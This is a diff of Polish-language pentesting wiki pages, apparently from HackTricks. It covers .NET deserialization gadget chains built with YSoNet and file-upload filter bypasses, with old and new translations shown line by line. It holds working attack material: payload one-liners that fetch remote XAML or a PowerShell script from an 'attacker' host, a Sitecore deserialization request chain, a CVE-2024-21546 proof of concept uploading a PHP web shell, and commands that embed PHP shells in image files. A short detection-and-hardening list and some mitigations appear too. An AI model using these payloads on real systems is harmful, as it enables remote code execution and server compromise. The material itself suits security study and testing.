Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU gadget chainów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (i starszy [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji.
|
||||
Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU łańcuchów gadgetów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (oraz starszy [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadgetów i formatów serializacji.
|
||||
|
||||
Poniżej znajduje się skondensowany zbiór najprzydatniejszych chainów dostarczanych z *YSoNet* wraz z krótkim objaśnieniem ich działania i przykładowymi poleceniami do generowania payloadów.
|
||||
Poniżej znajduje się skondensowany przegląd najużyteczniejszych łańcuchów dostarczanych z *YSoNet* wraz z krótkim wyjaśnieniem działania i przykładowymi poleceniami do wygenerowania payloadów.
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skomplilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Wykorzystuje **stare XML-owe** przedstawienie `System.Data.DataSet`, aby zainstalować dowolne typy poprzez wypełnienie pól `<ColumnMapping>` / `<DataType>` (opcjonalnie podrabiając assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Na runtime z WPF (> .NET 5) łączy gettery właściwości, aż osiągnie `System.CodeDom.Compiler.CompilerResults`, po czym *kompiluje* lub *ładuje* DLL dostarczone za pomocą `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej metody statycznej z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl` do hostowania złośliwego XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| Gadget Chain | Główna idea / prymityw | Popularne serializery | YSoNet one-liner |
|
||||
|--------------|------------------------|-----------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Uszkadza rekord `DelegateSerializationHolder` tak, że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *ominięć filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skomilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Wykorzystuje **stare reprezentacje XML** `System.Data.DataSet`, aby zainstancjonować dowolne typy poprzez wypełnienie pól `<ColumnMapping>` / `<DataType>` (opcjonalnie podszywając się pod assembly przy użyciu `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Na środowiskach z WPF (> .NET 5) łączy gettery właściwości aż do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładuje* DLL dostarczone przez `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (przypomnienie) | Używa WPF `System.Windows.Data.ObjectDataProvider` do wywołania dowolnej statycznej metody z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant `--xamlurl` do zdalnego hostowania złośliwego XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się podczas deserializacji obiektu przez PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Wszystkie payloady są domyślnie **zapisane do *stdout***, co ułatwia przekierowanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP).
|
||||
> Wszystkie payloady są domyślnie **zapisywane na *stdout***, co ułatwia przekierowywanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP).
|
||||
|
||||
### Building / Installing YSoNet
|
||||
### Budowanie / instalacja YSoNet
|
||||
|
||||
Jeśli nie ma dostępnych prekompilowanych binariów w *Actions ➜ Artifacts* / *Releases*, poniższy jednolinijkowy skrypt **PowerShell** przygotuje środowisko builda, sklonuje repozytorium i skompiluje wszystko w trybie *Release*:
|
||||
Jeśli pod *Actions ➜ Artifacts* / *Releases* nie ma dostępnych skompilowanych binarek, poniższy jednowierszowy skrypt **PowerShell** skonfiguruje środowisko budowania, sklonuje repozytorium i skompiluje wszystko w trybie *Release*:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,20 +216,20 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Skompilowany `ysonet.exe` można znaleźć pod `ysonet/bin/Release/`.
|
||||
Skompilowany `ysonet.exe` znajduje się w `ysonet/bin/Release/`.
|
||||
|
||||
### Wykrywanie i wzmacnianie zabezpieczeń
|
||||
### Wykrywanie i utwardzanie
|
||||
* **Wykrywaj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub dowolnego procesu deserializującego dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`).
|
||||
* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) gdy nie można usunąć przestarzałego `BinaryFormatter` / `NetDataContractSerializer`.
|
||||
* Tam, gdzie to możliwe, przejdź na **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście.
|
||||
* Zablokuj ładowanie niebezpiecznych bibliotek WPF (`PresentationFramework`, `System.Workflow.*`) w procesach webowych, które nie powinny ich potrzebować.
|
||||
* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) kiedy nie można usunąć przestarzałego `BinaryFormatter` / `NetDataContractSerializer`.
|
||||
* Tam, gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście.
|
||||
* Zablokuj niebezpieczne biblioteki WPF (`PresentationFramework`, `System.Workflow.*`) przed załadowaniem w procesach webowych, które nigdy nie powinny ich potrzebować.
|
||||
|
||||
## Przykład z rzeczywistego świata: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
## Rzeczywisty sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
Praktyczny .NET sink osiągalny w uwierzytelnionych przepływach Sitecore XP Content Editor:
|
||||
Praktyczny .NET sink dostępny w uwierzytelnionych przepływach Sitecore XP Content Editor:
|
||||
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` wywołuje `new BinaryFormatter().Deserialize(...)`.
|
||||
- Ścieżka wyzwalająca: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, który wyszukuje element siostrzany z `id="{iframeId}_inner"` i odczytuje atrybut `value`, traktowany jako base64‑zakodowane zserializowane dane. Wynik jest rzutowany na string i wstawiany do HTML.
|
||||
- Ścieżka wyzwalająca: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, który wyszukuje elementu-sąsiada z `id="{iframeId}_inner"` i odczytuje atrybut `value`, który jest traktowany jako dane zserializowane zakodowane w base64. Wynik jest rzutowany na string i wstawiany do HTML.
|
||||
|
||||
Minimalny end‑to‑end (uwierzytelniony):
|
||||
```
|
||||
@ -246,15 +246,15 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
- Gadget: dowolny BinaryFormatter chain zwracający string (side‑effects run during deserialization). Zobacz YSoNet/ysoserial.net, aby wygenerować payloady.
|
||||
- Gadget: dowolny łańcuch BinaryFormatter zwracający string (efekty uboczne są uruchamiane podczas deserializacji). Zobacz YSoNet/ysoserial.net, aby wygenerować payloads.
|
||||
|
||||
Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sink:
|
||||
Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sinka:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
## Odnośniki
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
@ -7,7 +7,7 @@
|
||||
Inne przydatne rozszerzenia:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@ Inne przydatne rozszerzenia:
|
||||
|
||||
### Omijanie kontroli rozszerzeń plików
|
||||
|
||||
1. Jeśli są stosowane, **sprawdź** **wymienione wcześniej rozszerzenia.** Testuj je też używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
|
||||
1. Jeśli są stosowane, **sprawdź** **wymienione powyżej rozszerzenia.** Testuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do bruteforce wszystkich znaków **ascii** i **Unicode**. (_Uwaga, możesz też spróbować użyć wcześniej wspomnianych **rozszerzeń**_)
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć wcześniej wymienionych **rozszerzeń**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Spróbuj ominąć zabezpieczenia, **oszukując parser rozszerzeń** po stronie serwera, używając technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych danych** (bajty **null**) między rozszerzeniami. _Możesz też użyć **wcześniejszych rozszerzeń** do przygotowania lepszego payloadu._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null bytes**) pomiędzy rozszerzeniami. _Możesz też użyć poprzednich rozszerzeń, aby przygotować lepszy payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Inne przydatne rozszerzenia:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzednich testów:
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (użyteczne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, nawet jeśli nie kończy się na .php, będzie wykonywać kod):
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest błędnie skonfigurowany. (przydatne do eksploatacji błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php**, będzie wykonywane):
|
||||
- _ex: file.php.png_
|
||||
7. Wykorzystanie **NTFS alternate data stream (ADS)** w **Windows**. W takim przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie zostanie utworzony na serwerze **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik można później edytować innymi technikami, np. używając jego short filename. Wzorzec "**::$data**” można też użyć do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.”)
|
||||
8. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. A złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
|
||||
7. Użycie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. przy użyciu jego krótkiej nazwy. Wzorzec "**::$data**” może też być użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.”)
|
||||
8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte, a złośliwe PHP pozostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Niektóre upload handlery obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) wersjach przed 2.9.1 możesz ominąć walidację rozszerzeń poprzez:
|
||||
Niektóre mechanizmy obsługi uploadu obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń przez:
|
||||
|
||||
- Użycie prawidłowego MIME obrazu i magic header (np. PNG `\x89PNG\r\n\x1a\n`).
|
||||
- Nazwanie przesyłanego pliku rozszerzeniem PHP z kropką na końcu, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany jeśli zostanie umieszczony w katalogu serwowanym przez web (domyślnie public storage, np. `/storage/files/`).
|
||||
- Użycie poprawnego MIME obrazu i nagłówka magic (np. PNG `\x89PNG\r\n\x1a\n`).
|
||||
- Nadanie przesyłanemu plikowi nazwy z rozszerzeniem PHP zakończonym kropką, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który wykona się, jeśli zostanie umieszczony w katalogu udostępnianym przez WWW (domyślnie public storage, np. `/storage/files/`).
|
||||
|
||||
Minimalny PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,63 +80,63 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Następnie odwiedź zapisany path (typowe w Laravel + LFM):
|
||||
Następnie wywołaj zapisaną ścieżkę (typowe dla Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Środki zaradcze:
|
||||
Zabezpieczenia:
|
||||
- Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1.
|
||||
- Wymuś rygorystyczne allowlists po stronie serwera i ponownie zweryfikuj zachowaną nazwę pliku.
|
||||
- Serwuj przesłane pliki z lokalizacji uniemożliwiających wykonywanie kodu.
|
||||
- Wymuś rygorystyczne server-side allowlists i ponownie zweryfikuj persisted filename.
|
||||
- Serwuj uploads z lokalizacji non-executable.
|
||||
|
||||
### Omijanie Content-Type, magic number, kompresji i zmiany rozmiaru
|
||||
### Obejście Content-Type, magic number, kompresji i zmiany rozmiaru
|
||||
|
||||
- Omijaj sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Obejdź sprawdzanie **Content-Type**, ustawiając **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Omijaj sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmylić polecenie _file_). Albo umieść shell w **metadanych**:\
|
||||
- Obejdź sprawdzanie **magic number** przez dodanie na początku pliku **bytes of a real image** (wprowadzając w błąd polecenie _file_). Lub umieść shell w **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` lub możesz też **wprowadzić ładunek bezpośrednio** do obrazu:\
|
||||
`\` lub możesz również **wprowadzić payload bezpośrednio** do obrazu:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być nieskuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona WWW może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Kolejna technika tworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być wtedy nieskuteczne. Możesz jednak użyć **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Inne triki do sprawdzenia
|
||||
### Inne sztuczki do sprawdzenia
|
||||
|
||||
- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (zmiana rozszerzenia).
|
||||
- Znajdź podatność typu **Local File Inclusion**, aby uruchomić backdoor.
|
||||
- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (w celu zmiany extension).
|
||||
- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor.
|
||||
- **Możliwe ujawnienie informacji**:
|
||||
1. Wysyłaj **wiele razy** (i w tym **samym czasie**) **ten sam plik** o **tej samej nazwie**
|
||||
2. Wyślij plik o **nazwie** pliku lub folderu, który **już istnieje**
|
||||
3. Wyślij plik o nazwie **"." , ".." lub "..."**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/", nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/".
|
||||
4. Wyślij plik, który może być trudny do usunięcia, taki jak **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wyślij plik w **Windows** z **niedozwolonymi znakami** w nazwie, takimi jak `|<>*?”`. (Windows)
|
||||
6. Wyślij plik w **Windows** używając zastrzeżonych (**zakazanych**) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Spróbuj też **wgrać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
1. Wgraj **kilka razy** (i w tym **samym czasie**) ten **sam plik** o **tej samej nazwie**
|
||||
2. Wgraj plik z **nazwą** pliku lub **folderu**, który **już istnieje**
|
||||
3. Wgrywanie pliku o nazwie ".", ".." lub "..." . Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w "/www/uploads/" katalogu, nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/".
|
||||
4. Wgraj plik, którego może być trudno się pozbyć, na przykład **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wgraj plik w **Windows** z **nieważelnymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Wgraj plik w **Windows** używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 oraz LPT9.
|
||||
- Spróbuj też przesłać **pliki wykonywalne** (.exe) lub **.html** (mniej podejrzane), które **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
|
||||
Jeśli próbujesz przesłać pliki na **PHP server**, zajrzyj do sztuczki z **.htaccess** aby wykonać kod: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesłać pliki na **ASP server**, zajrzyj do sztuczki z **.config** aby wykonać kod: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
|
||||
Jeśli próbujesz przesłać pliki na **PHP server**, [sprawdź trik z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesłać pliki na **ASP server**, [sprawdź trik z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Pliki `.phar` są jak `.jar` dla Javy, ale dla PHP, i mogą być **używane jak plik php** (uruchamiane z php, lub includowane w skrypcie...).
|
||||
Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php lub include'owane w skrypcie...).
|
||||
|
||||
Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko używane do **importu plików**, więc w pewnym momencie ktoś mógł dopuścić **to rozszerzenie do wykonywania**.
|
||||
Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko importowane, więc możliwe, że ktoś zezwolił na **wykonywanie tego rozszerzenia**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jeśli możesz wgrać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Zatem, jak pokazano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shel'a!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Po szczegółowe omówienie tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) można wykorzystać na serwerach uWSGI, jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI używają specyficznej składni do wprowadzania "magic" zmiennych, placeholderów i operatorów. Szczególnie operator '@', używany jako `@(filename)`, służy do dołączenia zawartości pliku. Spośród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie silny, pozwalając na odczyt danych z stdout procesu. Funkcja ta może zostać zmanipulowana w celach złośliwych, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik konfiguracyjny `.ini`.
|
||||
